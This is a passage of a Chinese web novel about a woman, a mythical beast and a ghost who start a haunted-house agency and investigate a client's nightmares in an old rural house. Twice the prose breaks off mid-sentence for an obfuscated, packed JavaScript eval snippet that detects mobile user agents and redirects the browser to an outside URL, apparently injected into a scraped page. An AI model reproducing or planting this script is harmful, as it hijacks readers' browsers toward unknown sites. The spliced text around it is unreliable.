姑且不论这符纸贴上去以后的效果如何,他起初没有什么感觉,但渐渐地竟然闻到了一股味道,那不可能是来自大街上任何其他地方的气味——毕竟闻起来像是庙观里香烛燃尽后的烟灰。筱海亮顿觉心旷神怡,连早先的紧张后怕都一点不剩了。 向晴心情很不错,但她没有表现出来。 手续走完了,现在只用等新房产证发下来就行,她不仅省下了房租的开支,名下还多了一套房。 “那个……小向,”筱海亮讪讪,“这个贴了三天以后呢?” “怎么处理都行。” 反正这道熏香咒留香的时间只有三天。 不过因为是鲲鹏亲手画的,据他说也能起一点辟邪作用,但不多就是了。 “那成,之后有事我再给你打电话。”筱海亮还是有点心疼他从手指缝里溜走的房子,“现在就先……” 他正准备往家的方向走,忽然听到身后传来了女孩的声音。 “慢走啊。” 她笑道。 “叔叔。” 筱海亮僵在了原地。 他不敢置信地慢慢回过头,映入眼帘的正好是一束明亮但还不至于刺眼的阳光,尽管如此,他还是条件反射眯了下眼睛。紧接着,筱海亮就看清了依然站在原地的那人。 她面容姣好,半边身体还落在围墙的阴影下,眉尾的一点红痣却被照得格外注目。眼波流转间,他认识的那个房客已然悄然不见了,活脱脱成了另一个人,另一个他理应更熟悉的人。 这怎么可能呢? 她嘴角的笑容冷淡讥诮,带着盛气凌人的气势。他以往最讨厌这个侄女看不起自己的态度,然而此时此刻,比起怒火,更快地涌上来的是…… 他如遭雷劈,喉咙里只发出含糊不清的浊音。 “……咕……” “唉,”她叹气,“认出来了啊。” “……鬼,”筱海亮以为自己大声说了出来,可根本是在喃喃自语,“是鬼,鬼啊啊啊啊啊!” 他转身拔腿就跑,因为软了膝盖而几番差点跌倒。向晴看着他踉跄着飞奔的身影消失在街角,嘴角的笑意还没有退去。 “哇……”还围在旁边的筱虹惊叹出声,上看下看左看右看地欣赏对方模仿自己的演技,“好像啊!” “免了他再过来找的心思。”向晴耸耸肩,“怎么样?” 筱虹默默竖起拇指。 向晴抬起右手。 紧接着,筱虹也竖起了自己的。 一人一鬼掌心相对—— “耶!” “啪!” 筱虹沉默地看着向晴,向晴也看回筱虹。 筱虹:“……” 向晴:“?” 满心以为对方要和自己击掌的红衣女鬼扑了个空,她还保持着向前弯腰的姿势,却见对方站在原地,双手突然往空中一合,发出了清脆的响声。 “……你干嘛呢?”女鬼终于问。 向晴一脸莫名其妙,“打蚊子啊。” 她摊开手,被拍扁的飞虫贴在掌心,垂死挣扎地蹬了两下腿。 筱虹:“………………” “我要杀了你——!!” 7. 凶宅事务所 “这太不公平了吧!” 一片安静祥和的前凶宅里,北洛大声抗议道。 “把我丢在印刷店,你们在那玩击掌?!” 他早在打印合同的时候被留到了快印店,毕竟事情已经板上钉钉,又是公证机关,他再跟着就有多添一份怀疑之嫌……当然,实质原因是向晴早就决定在临走前再吓筱海亮一手,旁边再多个人太容易穿帮了。 “注意你的措辞,”向晴纠正,“不是玩,是庆祝。” 而且她是单方面被迫的。 为了让她赔偿被浪费的感情,小红逼着她击了一路的掌。 “都一样!”北洛毫不掩饰自己的愤怒,“我也是计划的一部分,庆祝为什么没有我!” “那就得反思一下是不是在戴罪立功了。” “可是她为什么可以!” “阶段不同,进度不同,”向晴指向厨房,“所以她现在在煲汤。” 北洛:“……” 隔着玻璃门,正在看着炉灶上的砂锅的筱虹对他们做了个鬼脸。 经过实际论证,该名女鬼所言非虚。 据她所说,烹饪是她在工作之余为数不多的一点爱好,所以钻研的心思全花在了这上面,为此还在装修时对厨房下了大功夫——向晴心说怪不得厨房设备配置这么齐全,要什么有什么。 有了工具还得有手艺才行,向晴回来的路上又去了趟菜市场,在小红的指挥下重新挑了一只肥嘟嘟的老母鸡。等到拎进厨房,女鬼手起刀落,好好的整鸡三下五除二地就被大卸八块。 这一幕在看不见鬼的普通人眼里可能就是定格动画的最高境界——切片整齐漂亮的鸡肉被悬在空中的菜刀铲进锅里,葱姜也一并自发成段,翻炒间迅速飘升的鲜香一下子就抓住了向晴的嗅觉。嫩红肉块在旺火下泛起白色,随后倒入的汤水表面漂满油花,筱虹美滋滋地盖上锅盖,显然对自己时隔几年重新捡起来的厨艺很满意。 向晴没有问对方打算在这里待多久,如果有个期限,她私心是一万年。 偏偏有人要来煞风景。 “咳!” 响亮的咳嗽声在强行吸引她的注意力。 “咳咳——咳——” 向晴:“?” 她不得不斜了鲲鹏末裔一眼。 “我觉得有必要确认一下你的知识量。”北洛马上说,“这关系到我们之后的命运。” “你在小看谁。”向晴说,“我好歹也是985本科毕业。” 北洛:“我是说玄学!” “哦,”向晴说,“我是文盲。” 太好了,他们没救了。 “但这也没多大关系吧?”向晴问,“既然有你在,不用太担心安危,符咒和那些知识也都是现成的吧。” 北洛脸上的神情表明他险些在高帽中迷失了自我。 “不对,有关系,非常有关系!”他冷静下来,“续约的方式就是同意被对方的‘阵法’召唤,所以当我现身的时候,就相当于我已经和你重新签订了契约。” “而在契约之后,神兽的能力就会受到契约对象的限制,由契约对象的水准来决定发挥出几成——” 向晴和北洛大眼瞪小眼。 他们从彼此的眼神中看到了同一句话—— 草率了,还是续得草率了。 北洛沉默半晌,终于琢磨出一点突破口,“这样吧,你有什么特长吗?” 向晴:“……手工算吗?” “试试,”他开始病急乱投医,“都试试。” 小红还在那里看着火,房子里的另外两人翻箱倒柜找出了纸张和剪刀。 向晴坐下,在北洛的注视下修剪起手中的白纸。她有很长时间没碰过这些了,但肌肉记忆骗不了人,刚一折好,另一只手就握着剪刀找到了角度,屋内只回响着纸屑在刀锋交错间落下的“唰唰”声。 纸张在她的指间翻飞,不时地变换一下角度。渐渐地,北洛原本飘来飘去的视线沉定在了这张剪纸上,他盯着那些还未完全成型的形状,稍微皱紧了眉头又松开。很快,向晴放下剪刀,双手拽着两端轻轻一拉,串在一起的六个小纸人就坠出了它们应有的形状。 纸人形态各异,彼此间只有数根纤细的纸带相连,或捧壶,或执杖,精巧程度绝对没得说。 他们两个几乎是同时开了口。 “谁教你的六神?” “看,《白雪公主等不到第七个小矮人》。” 北洛:“……” 向晴:“……” 两秒后。 向晴:“谁剪花露水了?” 北洛:“这儿也没白雪公主啊。” “哦,”向晴说,“等睡着了。” 北洛:“………………” 冷死了! “什么花露水,我说的是家宅六神!”他赶紧纠正道,“这是灶神,这是井神……这么说吧,换个颜色贴窗户上,至少稍微辟个邪是没问题的。” 向晴满怀希望地问:“那对付神异录呢?” 北洛:“……你的当务之急是拿到小学毕业证。” “不过如果你还会别的,那就也不一定。”他改口道,“所以是谁教你这个的?” “还能有谁,我外婆啊。”向晴说,“但我当时以为是在做游戏,就随便起名字了。” 他俩继续大眼瞪小眼。 现在有一个好消息和一个坏消息。 好消息是她可能并非什么也不会。 坏消息是会的东西根本对应不上是啥。 一道女声欢快地打破了这沉默。 “鸡汤来咯!”筱虹的脑袋直接穿门而出,连着脖子整段浮现在玻璃上,“你们倒是端一下啊。” 虽然她可以操控物件,但耗费的力气与重量距离直接成正比。让她装神弄鬼吓唬吓唬人可以,捧碗汤一滴不漏地从厨房飘回客厅? 这么费劲的事她才不干呢! “小北子。”向晴说。 北洛:“……嗻。” 他识相地为自己的炫耀——不,失言行为切换了应有的身份,任劳任怨地前往厨房,端来一碗热腾腾的鸡汤面。 浓郁香气随着距离的缩短而陡然逼近,碗底接触桌面时“咔哒”的一声清脆响音有如天籁,连蒸腾出来的水汽都充满了诱人的鲜味。 这是—— 向晴瞪大了眼睛。 当之无愧的金色传说! 完全烹出鸡肉里每一丝精华的汤汁清澈见底,连浮在表面的油花都很漂亮,一团雪白筋道的面条卧在汤碗正中,几片青绿葱花点缀于其上。旁边的鸡腿裹了层鲜香弹牙的油皮,底下肉质也是一眼就能看出的嫩而不柴。 “我参考了一下你的那个配方。”筱虹得意洋洋地宣布道,“不过当然没有每一步都照着做了——我可禁不起那么耗灵力。” 不对啊,她又没把菜谱拿出来。 “我炖鸡的时候,你就在旁边看着?”向晴问。 “我躲在吊柜里来着。”筱虹皱了皱鼻子,“我好奇你的做饭水平啊,结果——” 向晴:“?” 可以了,她突然不想听下去了。 “但是味道确实很不错。”北洛斗胆安慰道,然而紧接着,他又说,“不过各自的要求不一样,有的可能认为色香味缺一不可,毕竟是作为契约的呈现结果,有所缺损就是对祂们的不尊重……” 向晴:“……你们家族世代都是新手引导NPC吗?” 她越想越觉得不对劲,为什么厨房小白相对容易上手的鸡汤偏偏被放在了第一页,召唤出来的鲲鹏为什么又那么好说话,怎么看都像是刻意为之的手笔。 北洛的眼神开始游移,“我也不太清楚。” 眼看对方打算蒙混过关,向晴也不再在这 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“觊觎这本‘菜谱’的人可多得很。”鲲鹏末裔撇撇嘴,“虽然他们不一定知道神异录长什么样,但或多或少地听说过传闻。不仅仅是这些觊觎者,据我所知,完全不想续约的家伙也大有‘人’在,眼下还能稍微起点作用,之后可就不好说了。” 他用指尖蘸了旁边杯子里的水,在桌面上勾勾画画地圈出了一块雄鸡的形状。 “我想你也知道,华夏神话没有一个彻底统一的体系,各地流传的版本、信仰都大不相同。” 他又划分出不同的省界,熟练得像在圈自家院子似的——对于鲲鹏来说,恐怕还真差不多。 “西周分封各诸侯国,在那之后,又有过无数次的领地变动……所以,自然而然地,凶神恶兽也都散落在各个角落,一个一个去找会相当费神。” 向晴若有所思。 “但无论如何都得跑一遍对吧。” “你还接受得挺快的。” “反正我现在也是无业人士,做什么不是做。”向晴说,“而且,既然这是我外婆的遗愿,我想实现它。” 不过,有个最重要的问题。 ——钱不够啊。 俗话说一分钱难倒英雄汉,向晴有存款,还有新近入账的二十万块钱,但这显然不足以支撑完成一场不知道耗时多久的“旅行”。她想着想着,视线就不自觉飘到了天花板,飘到了墙壁,飘到了各色家具和地板。 别的不说,小红的装修品位真的很不错,不然她也不会一眼就认定了这间公寓。 筱虹:“……不可以卖房!” “把你吓得,我又没说要卖。”向晴说,“我只是在想,有样东西是任何地方都有的。” 北洛:“电视?” 筱虹:“美食!” 向晴:“……” “谢谢,”她说,“我不想当贞子,也不想当中华小当家。” “我说的是凶宅!” “任何地方都有人,有人就会有住房,那些碰巧发生在住房里的非自然死亡就会产生凶宅。凶宅的费用相对低廉,比较适合我现在的资金。”向晴想了想,“其实大家现在都知道凶宅便宜,所以抢购的也不少。” “但是,总有一些房子凶得让人退避三舍,倒贴钱都不住,所以要瞄准的就是这些目标。同样,比起小打小闹的地方,也是它们更可能和凶兽产生关联。” “最重要的是,一旦打出名声——” “就有委托人主动上门。”北洛接道,“我不就山,山来就我?听起来不错。” “所以就是先在附近开始。”他说着,又从杯里蘸了水,把本省的位置“涂黑”,“试一试前景,以观后效。” “对。”向晴说。 “还有,那是我准备喝的水。” “咦?” “给我重倒一杯。” “……” 8. 客源 六月正值夏至前夕,天气刚刚热起来,又不至于到站上一会儿就满头大汗的程度。尽管如此,向晴还是选择待在路边店里,隔着落地窗,应鲲鹏之邀……观察人类。 近年来全球变暖,气候异常,一年比一年炎热,为了招徕客人,商家都是早早就开上了空调。饮品店的冷气放得很足,向晴给自己和北洛各点了杯柠檬水,两人坐在窗边的座位上,你一言我一语地扫视着外面经过的行人。 大家各个都是行色匆匆,几乎没有谁注意到他俩的目光,不过二人也不是人人都看,只是挑着面相有异的那些来做随机小测验。 用北洛的说法就是,实践出真知,在家里闷头背上千遍不如实际练上一遍。 向晴心说作为一只外表看不出来多大岁数的神兽,你活得还挺辩证的。 “正所谓男看日角女看月,”北洛信誓旦旦地说,“你看刚才过去那个,两眉上方的骨头明显,说明现在人际关系很差劲,但是二十一岁以后突然来个一百八十度大转折,让其他人发现以前都是被小人陷害的误会……嚯,应该是万人嫌变团宠。” 向晴:“……” 那是哪儿? “还有这个这个,战堂暗淡,天中光洁,估计要走点霉运,比如被花盆砸到头什么的,但是接着就能买彩票中奖,我看看——哦,浅中个两千万吧。” 向晴:“…………” 那又是哪儿? 不管了,她现在去跟人家说相逢即是缘做个朋友以及苟富贵莫相忘还来得及吗? 北洛:“……你这什么眼神。” 看人形八卦自走仪的眼神。 “瞧不出来,完全瞧不出来,”向晴放弃得很干脆,“从零开始看面相对我来说还是有点太超前了。” “也行吧。”北洛放弃得比她还快,“这种也透露不了太多次,否则要变成泄露天机——反正只是为了看出有没有鬼气,换成更有针对性的办法好了。” 他们是来这里找客源的。 虽然表面看起来是三个人,但其一是鬼其一是神兽,所以他们成立的不是党支部,而是一个默默无闻、无人在意的“事务所”。 说是事务所,一则没有场地,二则没有业务。身为所长的向晴和身为副所长的北洛隔日一早就来到了街边蹲守,看看能不能找到几个碰巧正在恶灵缠身的倒霉蛋来打响知名度。 据北洛所说,这种情况不算太少见,独自走夜路或者仿照那些招鬼仪式做游戏容易沾上通常而言的“脏东西”,但以一般人的体质,感冒发热个两天也就没事了。只有实在强盛的家伙和阳气较弱的人类才会进一步演变成难以解决的麻烦。 而他们就是要从人群中筛选出这部分受众,北洛起初想打打基础,发现这样效率太低后决定改成速成的路子。 “看,做这个手势。”鲲鹏末裔先来了个示范,“然后从圈起来的地方望出去,如果看到有黑气,就说明对方可能最近撞过邪。” 向晴照着他的样子,拇指同时掐住中指与无名指的第一段指节,食指又按在拇指第一指节与第二指节的相连处,最后举在左眼前,透过这个“圆圈”重新望向窗外。 天地间变了颜色。 先前见过的景物都笼罩上了一层淡淡的灰白,唯独行走于其间的路人还是鲜活的。或黑或白的细碎粉末正在上下飞舞,就像焚烧后随风飘扬的纸灰,不受重力约束地一味浮向上空。 “眼睛有黑气的不用太在意,”鲲鹏小课堂又开课了,“那些只是有点灵异体质,可能在特定场合下能看到鬼——” 向晴打断了他的话,“所以身上有黑气的就是撞邪了?” “是啊,我知道这很难找——” “刚刚有团黑云飘过去了。”她说。 北洛:“……???” 这是正常人该有的运气吗?! “追追追,”他拍案而起,“赶紧追!” 幸好两人刚才就把饮料喝完了,这下一身轻地往店外赶。向晴轻易地在人潮中辨认出了那个吸引她注意力的身影,他们跟着对方走了一段,又拐了个弯,视野一下子开阔不少。 虽然是条小巷,但因为没什么人走,所以显得颇为空旷。向晴也得以有机会仔细打量对方,那是个三十岁左右的上班族,有点溜肩,西装挂在身上就松松垮垮的,从背影就能看出他无精打采,像是没睡好似的,每走一步都有点晃悠。 北洛先一步追了上去。 “这位施主,”他阻拦道,“我观你印堂发黑——” 男人神情惊讶地看他一眼,脚下走得更快了。 向晴把鲲鹏末裔赶到一边,“去!” 什么年代了还在用电视剧里的套路,不明摆着被当成是骗子吗? “不好意思,他开玩笑的。”她笑笑,“我们在拍视频,能麻烦您帮忙参与一下吗——当然,有报酬。” 一听是有偿出镜,男人有点犹豫,步伐也跟着慢了,他问:“什么视频?” 他长得其实还可以,但黑眼圈又深又重,衬得整个人郁郁寡欢,连两颊都有些下凹,一副接连几天都没休息好的样子。西服材质也不错,衣着看上去不差钱,又不是太贵,应该是属于中不溜的阶层。 “我们想做一个类似于‘可以去你家吗’的专题,”向晴说,“所以如果条件允许,希望能去您家拍摄,酬劳会很丰厚的。” 男人明显想拒绝,话还没说出口,他忽然看着向晴愣住了,视线扫了她两圈,似乎在努力回忆着什么。 “你是——”他纠结道,“那个,就是谁来着……” 向晴:“……” 没完全出名就是这样,别人只会看着你眼熟,认不出你到底是谁。 “我是向晴,”她说,“您认识我?” “啊对对,我记得是这名字。”男人赶紧顺着下了台阶,有点尴尬地说,“我老婆爱看电视剧,我跟着她看了点,不过我想不起来……” “没事,反正我跟公司解约了,现在是以个人身份活动。”向晴毫不在意道,“那您看这事……” “行,行。”男人马上说,“我叫贺云益,报酬可以之后再说,能不能麻烦你给我老婆写个to签?我就记得她还挺喜欢你演的那个角色。” “不过我们现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063005|163015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是回来探亲,住在我爸妈家,不是我们自己的房子,如果这样没关系——” 向晴一口答应下来,“可以的,没问题。” 反正只是块敲门砖,他们“要拍的”是谁家都无所谓。 北洛的视线好奇地转在两人之间,显然,他虽说从方才的对话里猜出了七七八八,但仍想打探一下详情。 “他居然知道你?”北洛用手挡着低声问。 向晴:“待会儿再跟你说。” 他们跟着贺云益绕过街道,拦住对方的地方已经离他父母家不远了,此时再穿过刷门禁卡的大门,眼前就是一片整齐高耸的居民楼。今天是工作日,高楼围拱着的生态区附近只有退休老人在带着还在牙牙学语的孙辈玩耍,花丛间传来笑闹声,这样的景象似乎也让贺云益放松了些许。 向晴注意到,他刚才和他们说话的时候都还紧绷着神经,不用说,一定是遇到了什么事才会有如此之大的精神压力。 为了演戏演到位,她早早拿出手机固定在自拍杆上开始录像。向晴想了想,把设备递给北洛,小声告诉他怎么用,后者也是一点就通,马上扮起了一个尽职尽责的摄影师。 贺云益把两人领到电梯口,见他们已在拍摄,紧张地问:“我需要说什么?” “不用不用,”向晴说,“正常聊天就好。” 她看到贺云益困倦地打了个哈欠,趁机问道:“您没休息好吗?” “还好吧。”贺云益说,“就是这几天总是莫名其妙地特别累,我都去上班又请假了,要不怎么这个点儿回家呢。” 向晴和北洛对视一眼,笑道:“既然是探亲,正好在家里好好休息呗。” 贺云益“嗨”了声。 “说是探亲,也不全是。”他说,“我四舅爷前阵子去世了,他没有孩子,房子就留给了我……我爸妈家离得近,我是回来处理这事的。” “你们要是好奇,去那儿拍拍也行,”他像是想起什么似的,打了个寒颤,“反正我感觉……有点说不上来。” 向晴:“那房子吗?” “算是吧,很奇怪。我四舅爷对我挺好的,但说实话,我感觉那里阴气森森的。”贺云益斟酌着形容词,“而且,自从去了那边,我回来就开始整宿整宿做噩梦。” “什么样的噩梦?”北洛问。 “就是我和四舅爷还有几个不认识的人坐在那房子堂屋的桌子跟前,也没开灯,中间点着蜡烛,”贺云益欲言又止,“在……打麻将。” “……我也不确定是不是他,他们面目很模糊,我什么都看不清,抬头往周围一看,全是丧事用的那种白纸……” 北洛想象了一下那个画面。 本就觉得阴气森森的房屋,晦涩不明的烛光,面容模糊不清的同桌者,视野角落的丧具……一般人是很难接受得了。 北洛:“这噩梦确实——” 贺云益打断了他,“不不不,我还没说完。” “我输了整整五个通宵,把把点炮,”男人痛苦地说,“一把都没赢过啊!” 向晴:“……” 北洛:“……” 9. 古式民宅 电梯“叮”地停在了相应楼层,轿厢门缓缓向两侧滑开,贺云益正往外走,向晴忽然开口阻止了他。 “贺先生,不用麻烦了。”她说,“跟你讲实话吧,我们不是在拍视频。” 贺云益一愣,“啊?” “其实就是他之前说的那样,我们看你气色不对,所以才会在路上拦住你。”向晴说,“我们觉得你可能有麻烦了。” “是这儿吗?”保险起见,她还是转头问了北洛一声。 北洛只顺着男人走的方向朝外看了一眼就摇摇头。 “一切正常,”他道,“就是客厅窗户的位置开得不合适,估计需要破财免灾。” 贺云益听到这句话,忽然猛地一拍大腿,“嘿!” 北洛:“……?” “我妈前几天掉了二百块钱,找了半天没找着,结果出去就看到有辆车撞路桩上了。”贺云益解释道,“一问旁边老板时间,要是她不找那钱,出去就刚好经过那儿。” “我爸妈从搬进来以后就不时有这种事……我还寻思着既然他们人好好的,钱少就少了也无所谓。”他连连摇头,“早该找人给看看风水好了。” 接着,他虚心发问:“那怎么才能解决呢?” “小问题,你买几条金鱼。”显然接受过正统科班教育的鲲鹏末裔也是信手拈来,“金鱼也叫风水鱼,可以重新引起住宅的生机,但是鱼缸不能大也不能小,正够这几条金鱼活动范围的最好。” “好好好。”贺云益连声答应,又问道,“你们现在有时间吗?能不能陪我去我四舅爷家看看?” 供求关系在三言两语里就彻底颠倒了过来,向晴有点好笑,她松开一直按着的开门键,“你这就相信我们了?” “不然还能咋办?”贺云益苦笑着重新踏进电梯,“你们又没来过我家,我们也从来没跟别人说过破财消灾的事。” 向晴开玩笑道:“说不定我正好和令尊令堂认识呢。” 男人闻言,认真地打量她片刻,然后斩钉截铁地摇头否定。 “不可能,否则我妈非得吹上天不可,上次她买菜——” 电梯门又开了,这次上来的是低层的另一位住户,原先还在交谈的几人便都安静下来,沉默着到了负二层。 “我四舅爷家在郊外,不用担心堵车。”出来以后,贺云益从外套内兜取出车钥匙,“你们要是方便,咱现在就开车过去。” 他在地下停车场里的私家车是辆雷克萨斯,车子感应到遥控钥匙开了锁,北洛先主动为向晴开了后座车门,自己这才坐进了副驾驶——对于一只在人类社会初来乍到的神兽来说,他实在表现得过于熟练了。 然后她就看到他在座位侧面摸着找了半天安全带,注视着那块铁片思考两秒,插到了驾驶座的卡扣里。 向晴:“……” 合着是理论的巨人。 毕竟是在职场摸爬滚打过来的,贺云益默默按开卡扣开关,把安全带系回了它该在的位置,很谨慎地没有探究对方这么做的原因。 遵循的就是一个高人的事你别问。 “我还以为你家亲戚会住得近点,”向晴继续了刚才的话题,“居然在郊外?” “啊,对,因为有点年头了。”贺云益回答道,“你们应该听说过前几年扶桑市要建文化小镇的事吧?” 向晴点头,“听说过。” 这年头流行在城市周边兴建一些文化小镇,说是小镇,其实就是经营美食和游玩项目的综合性社区,主打当地特色,以期带动旅游业。 向晴从小在扶桑市长大,去外地上大学的最后一年就听闻家乡响应文化复兴的号召,准备开辟一片新规划地作为游客和市民周末的好去处。结果谁知道一耽搁就是两三年,别说她大学毕业了,现在她都解约回来定居了,也没见那边动工。 “我四舅爷的房子就在那片地界。”贺云益说,“当初本来说拆迁呢,合同都签好了,后来不知怎么的,好像是工地纠纷,换了好几个施工队,谁来谁拆伙,要么就是机器莫名其妙熄火故障。虽说没死人,但也没有愿意接这活的了。” “这拆到一半拆不了了,剩下的肯定不答应啊。又没办法继续住人,最后政府那边付了违约金,大部分人就拿钱进城买房定居了。” 贺云益耸了耸肩,“我四舅爷拿存款和赔来的钱把邻居家的房子买了,打通以后重新装修了一下,说是这么住着也挺好。” “不过我还觉得奇怪,”他道,“我小时候的印象里,他最爱打麻将,就是找不到什么人跟他打。这下左邻右舍都搬走了,我以为他也会搬到麻将馆附近……” “所以这些天做梦,我都想着是不是老人在底下太无聊了,拽我过去充数,也不是不行吧——” 贺云益一脸悲愤。 “但是我真就连一把都没赢啊!” 两人:“……” “怪不得找不到牌友。”向晴说。 北洛:“重点是这个吗?” “这样,你给他烧几个纸人过去,”向晴想了想,“然后去城隍庙告一状,说他们聚众赌博。” 一起抓进去就不会再拉人打牌了。 北洛:“……直接大义灭亲啊!” “不过,首先要做的是确认那是不是你四舅爷。”他平静下来,“孤魂野鬼冒充逝去的亲友来骗吃骗喝,这种情况古往今来不少见。” “而且——” 北洛难得地神情冷凝,“你相当于参与进了他们的赌局。” “这很危险,因为你不知道同桌者赌了什么,”北洛说,“往好了想,可能是一些无关紧要的东西……往坏了想,可能就是寿数或者运势了。” “没事。”向晴安慰道,“这证明你曾经可以当个百岁老人。” 毕竟连输五天还活得好好的。 贺云益:“……” 这种证明不要也罢! 他愁云密布地从国道拐进狭窄的乡间小道,车子又颠簸了一阵,经过好些拆到中途放弃的废墟,最后停在了某座还完好的古式民宅门口。 “到了,”贺云益率先下车,“就是这儿。” 周围新铺的水泥地面与他们来时那条年代久远导致不太平稳的道路形成了鲜明对比,足以佐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063006|163015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证贺云益所说的改建。 左右打通后重新盖起来的院落围墙比原先应有的宽敞了一大圈,虽说是老房子,建材却很结实。结构也依然是由堂屋与厢房组成,以至于看上去就像是古时候二进二出的大户人家。 门扇与立柱都漆成了朱红色,青砖灰瓦,树影婆娑,这理应是一幅相得益彰、入诗入画的乡间美景——却正如贺云益形容的那样,明明处于盛夏的前夕,立于院落内,无端而起的凉风轻飘飘地贴上后背,就由皮肤到毛孔渗进阵阵如同附骨之疽的阴寒。 这阴寒黏腻在骨缝里,团缩在关节中,让人只是单纯站在原地都觉得浑身不舒服。贺云益静静地凝望着屋宅深处,房梁剥落了朱漆,裂成眯缝着的细眼,这里给他的感觉一点都没变,推门带起空气流动,墙上抹的那层腻子有白灰扑簌簌落下,被风蚀和刮痕造就的墙面凹陷处像不经意间露出的细碎骨茬。 向晴开始低头翻包。 贺云益看她掏啊掏,掏出两个片状物。 他知道民间奇人异士都有自己的独门秘术,哪怕外表再平平无奇也不能小瞧,因为它们往往在你意想不到的时候大有用处,就算看着像是批量生产的流水线产品,呃,就算是塑料包装—— “暖宝宝,”向晴注意到他的视线,“要吗?” 贺云益:“……” 物理驱寒啊!! 俩人开始低头分她买的暖宝宝,北洛自是用不着这个,他在院里屋外转了一大圈,本就皱着的眉头拧得更紧了。 “不对劲。”他说,“虽然我还说不清这房子不对劲在哪儿,但感觉被动过手脚。” “厌胜?”向晴随口道。 厌胜,即为厌而胜之,是一种通过诅咒来制服人或物的巫术。使用者多见木工,因而相传为木工的祖师爷鲁班所授。《鲁班书》上册为厌胜术,下册为破解法,是本决不能学的奇书,否则所学之人必定会“缺一门”。 鳏、寡、孤、独、残,怎么都得占一样,就跟葵花宝典的欲练神功必先自宫是同一个道理。 “如果只是厌胜倒还好了,”北洛说,“《灵驱解法洞明真言秘书》有云,‘魇者必须有解前厌禳之书’,破起来也简单——你们家得罪过什么人吗?” “我记忆里是没有,不过要说这房子,”贺云益摇头回忆道,“听说建国前是地主老财家的,后来分土地破四旧,拆得只剩下几间。因为本来造的材料好,修修补补也能住人。” “我四舅爷重修的时候也没有大动干戈,他意思是外面看得过去就得了,里头的房梁啊啥的没怎么动。” 向晴了然地点点头。 放在以前的旧时代,如果雇主克扣长工或短工,对方临走前埋点什么作为报复也不奇怪。别说过去了,就是现在都完全有可能。 “目前来看,情况不太好办。”她道,“就像他说的那样,要排查原因,怎么也得多考察考察。” 向晴:“所以趁着现在——” 眼见对方面色严肃,贺云益心下一沉。 “咱们先把合同签了吧。”向晴说。 贺云益:“……???” 10. 风水瓶 ……合同? 啥合同?这年头驱鬼还要签合同了? 贺云益深刻怀疑自己是不是已经跟不上时代了,鉴于道士和和尚都得持证上岗,他觉得出现一套《超自然现象干预服务风险告知及免责合约》也并非不可能。 但向晴很快打破了他的幻想。 她从随身携带的挎包中取出两份制式合同,友好地向他展示了上面大写加粗的标题。 “噩梦缠身的业主啊,”向晴问,“你要签的是这份出售合同还是那份租赁合同?” “不是金斧头也不是银斧头……”贺云益喃喃道,突然反应过来,“不对,怎么突然进展到这一步了?!” 向晴:“说好的突然提供两个选项,对方会下意识被诱导选择其中一个呢?” 北洛:“……不是这么用的吧!” “切。”向晴说。 你在“切”个什么啊! “慢着,等一下,等等,”贺云益终于明白了哪里不对劲,“你们不是来驱邪的吗?” “那是附带服务。”向晴客气地向客户说明自家套餐,“其实我们是专门经营凶宅的事务所,你可以理解为中介。你以一个合理的价格把房子全权委托给我们,接下来就是我们的事了。” “当然,如果你只需要驱邪服务也可以,但是得先——” 她比划着搓了搓拇指和食指,意思是要付定金。 “事务所?” 贺云益重燃希望。 “那你们的客户一定很多吧?” “可以预见的未来是这样。”向晴诚实道,“我们今天刚成立,你是第一单。” 贺云益:“………………” 闹呢?! 贺云益沉默了。 贺云益打开了手机上的反诈APP。 “报警也可以,”向晴说,“但我觉得警方管不了做不做噩梦。” 一句话成功劝退,贺云益有点犹豫,又不知道该信任他们到哪个地步,便道:“那——试试也行,你们打算怎么办?” “……”向晴短暂地沉默了一下,“稍等,这个还有待进一步商榷。” 她低头打字,贺云益眼尖,看到对方在搜索框里输入的是“凶宅试睡员应该做什么”。 ……现找吗?! 向晴瞅了一圈,觉得这些几时几刻去哪里记录有无哪些异象的条条框框真正实施起来保准计划不如变化快,于是脸不红心不跳地收起手机,“我们的服务方针是对客户量身定制打造驱邪方案,推行个性化路线,满足多样化需求,适合别人的不一定适合您,攀比不可取。” 贺云益:“……” 谁攀比了啊!! “不过既然是第一单,”向晴话锋一转,“我们可以为您提供试用体验。目前来看,最有说服力的就是先在这里住一晚上,让您实际看看能做什么。” 贺云益闻言,不由得望向这座在大白天都看起来有几分幽深的宅子,一想到要过夜,心里是一百个不愿意,“……我应该不用待在这儿吧?” “可以。”北洛说。 好耶! “除非你想再被拽回来做噩梦。” 不好耶! “非得待着吗?”贺云益不死心地挣扎,“被拽回来是什么意思?” “你应该知道那不可能是单纯的噩梦,不然影响不至于大到这个程度。”北洛说,“活人出窍叫做‘生魂’,你的生魂应该被拉来了这个地方,醒来以后又误以为自己是在做梦。” 魂为阳魄为阴,生魂沾了太多阴气,回去以后魂魄相合,反应在躯壳上也是无可奈何的事。 北洛抬头看看天色。 “正午过了,现在还有点早,”他道,“等晚点再看看哪里的阴气最重。” 世间万物离不开一阴一阳之道,正午是一天之内阳气最盛的时候,恰恰因为太盛,又谓之阳极而阴。 所以并不像大部分人所想象的闹鬼总是在半夜三更,大中午的也有可能,但过了这个时间点,阳气虽然转弱,仍能压制住阴气。直至太阳落山,阴气开始滋长,届时就是窥破的良机。 